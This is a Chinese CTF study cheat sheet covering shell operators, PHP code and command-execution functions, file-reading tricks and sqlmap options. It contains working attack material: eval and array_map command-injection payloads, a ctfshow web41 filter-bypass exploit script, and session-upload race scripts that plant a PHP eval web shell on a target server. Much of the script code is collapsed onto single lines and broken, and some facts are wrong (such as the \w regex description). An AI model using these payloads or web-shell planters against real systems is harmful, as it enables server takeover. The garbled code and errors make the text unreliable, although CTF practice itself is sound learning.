more/less
適應窗口大小輸出文件內容
less還可以翻頁
-
-
find
find / -name xxx
-
tee
ls / | tee 3 將結果輸出到3文件
注
-
php+linux
$c=$_GET['c']; eval($c); ======> echo `find / -name fl\ag.php`;
正則匹配
修飾符元字符
. 匹配除換行符以外的任意字符\w 匹配字母或數字或下劃線或漢字 等價于 '[^A-Za-z0-9_]'。\s 匹配任意的空白符\d 匹配數字\b 匹配單詞的開始或結束^ 匹配字符串的開始$ 匹配字符串的結束\w 能不能匹配漢字要視你的操作系統和你的應用環境而定其他
管道符
-
&
命令后加&表示將進程放在后臺
-
&&
前一條命令成功執行才執行后一條命令
-
|
將上一條命令的輸出作為下一條命令的輸入
-
||
上一條命令執行失敗之后才會執行下一條命令
-
>
將內容作為標準輸出信息覆蓋寫入某一位置
-
>>
將內容作標準輸出信息追加寫到某一位置
-
<
將內容作標準輸入流讀入前命令
-
<< xxx
從某位置讀入輸入信息,直到匹配道與xxx相同的內容然后停止
-
&>
不管命令執行結果是正確信息還是錯誤信息都覆蓋輸入到xxx
-
``
語言特性
-
php反引號
php中反引號中的內容會當作命令執行,和system()有著相似的作用
-
file_get_contents()
函數將文件內容讀取為字符串形式,所以說這個函數可以結合data://偽協議,該偽協議是將文本內容進行輸出,這樣一結合就可以包含自己想要的內容
-
include()
可以包含文件包含變量,或者引入其他內容
-
<?=?>
php短標簽,<?php ?>是長標簽,在php的配置文件(php.ini)中有一個short_open_tag的值,開啟后可以使用PHP短標簽<??>
同時,只有開啟這個才可以使用<?=代替<? echo <??>
但是短標簽是不推薦的,使用<?php ?>才是規范的方法,只是因為這種短標簽使用的時間比較長,這種特性才被保存下來。
-
./flag.php
結合目錄訪問特性繞過全字正則匹配
-
ereg
匹配字符串中的指定內容,存在NULL截斷漏洞,可以用%00繞過
-
eregi
不區分大小寫的匹配,二次url編碼繞過
-
GLOBALS
全局變量,可以用來賦值,然后var_dump
-
_函數
gettext()函數的別名,返回文本信息
代碼執行函數集合
-
eval
-
preg_replace+/e
-
assert
-
call_user_func($參數,$函數)
call_user_func_array()
-
create_function($參數,$函數)
適用范圍:PHP4>=4.0.1 PHP5 PHP7
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
創建一個新的匿名函數,并將第一個變量作為參數傳給函數,為其返回唯一名稱 -
array_map()
將用戶自定義函數作用到數組中每個值上
<?php //?func=system&cmd=ipconfig $func=$_REQUEST['func']; $cmd=$_REQUEST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?> -
array_filter
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次將array數組中的每個值傳遞到callback函數,如果callback函數返回true,則array數組的當前值會被包含在返回的結果數組中。
<?php //?func=system&cmd=whoami $cmd=$_REQUEST['cmd']; $array1=array($cmd); $func =$_REQUEST['func']; array_filter($array1,$func);#把前面的數組內容傳到后面的函數中(callback函數) ?>
顯示文件內容函數總結
-
file_get_contents()
將整個文件的內容讀入一個字符串
-
readfile()
讀取文件并輸出到緩存
-
highlight_file()
別名為show_source()
-
fopen()
將指定文件打開并綁定到一個流上
$handle = fopen("c:\\folder\\resource.txt", "r"); -
fread()
<?php $filename = "c:\\files\\somepic.gif"; $handle = fopen($filename, "rb"); $contents = fread($handle, filesize($filename)); fclose($handle); ?> -
fgetss($handle, 4096)
從文件指針中讀取一行并過濾html標記
-
fgets($handle, 4096)
從文件指針中讀取一行
-
parse_ini_file()
-
file()
將整個文件的內容讀入一個數組
-
unicode單個字符可以表示很大的數字
命令執行函數集合
-
system()
執行外部程序,并且顯示輸出
-
exec()
執行一個外部程序
echo exec(ls);
如果要獲得運行結果,要使用output參數 -
shell_exec()
通過 shell 環境執行命令,并且將完整的輸出以字符串的方式返回
-
passthru()
執行外部程序并且顯示原始輸出
-
pcntl_exec()???暫不明
在當前進程空間執行指定程序
利用集合
-
函數組合
show_source(next(array_reverse(scandir(current(localeconv())))));
其中show_source()的別名是highlight_file(),current()的別名是pos()同理,readfile()也有相同作用
-
造參傳參
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
抓包改包
-
burpsuiteget改post
請求方式改成POST
加入content-type:application/x-www-form-urlencoded
最下面加上要傳的參數
概念科普
-
php探針是用來探測空間、服務器運行狀況和PHP信息用的,探針可以實時查看服務器硬盤資源、內存占用、網卡 流量、系統負載、服務器時間等信息
-
php中GET請求參數不用單引號引起來也可以是因為利于php向下兼容
-
/dev/null:表示 的是一個黑洞,通常用于丟棄不需要的數據輸出, 或者用于輸入流的空文件
1.1 將無用的輸出流寫入到黑洞丟棄。
curl -Iwww.baidu.com 2>/dev/null | head -l 錯誤信息定位到黑洞
1.2 清空文件
cat /dev/null > /home/omc/h.txt
1.3 在書寫定時任務總,規范的寫法就是將所有定時任務腳本結尾加上>/dev/null 2>&1,讓所有的輸出流(包括錯誤的和正確的)都定向到空設備丟棄。
-
有三種輸出流,1標準輸出,2錯誤輸出,3異常輸出
-
dnslog
-
dns請求有日志記錄,日志可以查看有多少ip訪問該域名
-
可以查看請求數據
-
腳本
爆破腳本
繞過測試
ctfshow web入門 web41
生成可用字符集合
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}} } fwrite($myfile,$contents); fclose($myfile);傳遞參數
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #沒有將php寫入環境變量需手動運行 if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0) url=argv[1] def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)session 文件包含
#coding=utf-8 ? import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('whoami');"} def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session):while True:resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)if 'tgao.txt' in resp.text:print(resp.text)event.clear()else:print("[+++++++++++++]retry") if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in xrange(1,30): threading.Thread(target=write,args=(session,)).start()for i in xrange(1,30):threading.Thread(target=read,args=(session,)).start()event.set() import requests import io import threadingurl='http://114.115.207.198:200/aGho.php' sessionid='ctfshow' data={"c":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" }def write(session):fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})resposne2=session.get(url+'2.php');if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()工具參數
SQLmap
強大的sql注入工具
https://www.freebuf.com/sectool/164608.html
-
--user-agent
指定agent
-
--referer
指定referer,referer偽造,指明從哪個頁面過來的
-
--data
–data=DATA 通過POST發送數據參數,sqlmap會像檢測GET參數一樣檢測POST的參數。–data=“id=1” -f --banner --dbs --users
-
--dbms
指定數據庫管理系統
-
--header
指定請求頭內容,–headers=“Content-Type: text/plain”
-
--cookie
指定cookie值--cookie="PHPSESSID=xxx"
-
--safe-url
指定跳轉頁面前訪問的頁面,繞過鑒權
-
--safe-freq
指定前頁面的訪問次數
-
--os-shell
SQLMAP特性
- 自動判斷閉合
nmap
- ``
總結
以上是生活随笔為你收集整理的CTF常见用法小总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 163发送邮件服务器拒收,向网易163邮
- 下一篇: 修改jsp文件刷新网页没有更新